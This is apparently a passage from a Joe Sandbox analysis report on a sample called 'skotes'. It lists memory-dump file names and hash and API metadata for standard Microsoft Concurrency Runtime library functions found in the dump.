Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: cab2f787874be3ee0c69206b207a892afd26d0efba3b37b52259748fd841c0c4
Instruction ID: 44a14f9c9b394993d03d79427e326e5244a7f7c351e3f4a784a2d994fd2cc8f0
Opcode Fuzzy Hash: cab2f787874be3ee0c69206b207a892afd26d0efba3b37b52259748fd841c0c4
Instruction Fuzzy Hash: F0414D75A00619EFCB09EF69C954AADF7B6FF88310F048159E906A7391CB74AE41CF81

Function 00ADECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ADECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ADED17

Part of subcall function 00ADF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ADF3FA

__alloca_probe_16.LIBCMT ref: 00ADED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00ADED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ADEDC6

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 61e8c5f11f8df908501ed910734f74fabfaf449c51dff06316dd0b863d3dcdc6
Instruction ID: 97d21c136849e3b173215eac97c33ae9b814511f1ade1987d2286e628c8e6e10
Opcode Fuzzy Hash: 61e8c5f11f8df908501ed910734f74fabfaf449c51dff06316dd0b863d3dcdc6
Instruction Fuzzy Hash: FD316F71A001158FDB15EFA8C9415AEB7F6AF49310B64406FE487EB351DF749E02CBA1

Function 00AED2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00AED344
ListArray.LIBCONCRT ref: 00AED367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AED370
ListArray.LIBCONCRT ref: 00AED3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00AED3B3

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 943a46e1870c0a43e50c067f884142669b170896d421ab994f1d9eb810cefaf6
Instruction ID: 908018ac61975202c1229d1e028ab590dda7452e4d3b728b031dad5238736c2b
Opcode Fuzzy Hash: 943a46e1870c0a43e50c067f884142669b170896d421ab994f1d9eb810cefaf6
Instruction Fuzzy Hash: BB31AF39700650AFCB05EF66C985BADB7B6BF88310F144199E8069F392DB70ED41CB92

Function 00AE86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00AE86EE

Part of subcall function 00ADEAD0: _SpinWait.LIBCONCRT ref: 00ADEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00AE8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AE8734
List.LIBCMT ref: 00AE87B7
List.LIBCMT ref: 00AE87C6

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: d03c5ec78cdc4f8d47eaecd6ab8c40b9ad2487bf1fcf43a1197f166b98510039
Instruction ID: c30f5f01da9d77d1872392d2095d3911780e4ec840dbe7e8bbdedb3f23efefb5
Opcode Fuzzy Hash: d03c5ec78cdc4f8d47eaecd6ab8c40b9ad2487bf1fcf43a1197f166b98510039
Instruction Fuzzy Hash: 75319C72D01696DFCB14EFA5D6816DDBBB1BF04718F24006AD80A7B652CB39AD04CB90

Function 00AF182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00AF18EB

Strings

pContext, xrefs: 00AF189C

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 316c098acd30efad083e4d1835e115916e6df4e28da52944d32ff72452aacb1d
Instruction ID: 0ab91be4ec2532a93fa36a2e85b1cc945eecc08c5a9c4e70dd6d66a95aa65048
Opcode Fuzzy Hash: 316c098acd30efad083e4d1835e115916e6df4e28da52944d32ff72452aacb1d
Instruction Fuzzy Hash: 6B21F735B00619DBCB14ABE8D995ABDB3B5BF94374B04016AF611872D1CFB4AC41CBD0

Function 00AEAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00AEAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00AEAF4E

Strings

pExecutionResource, xrefs: 00AEAF07

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
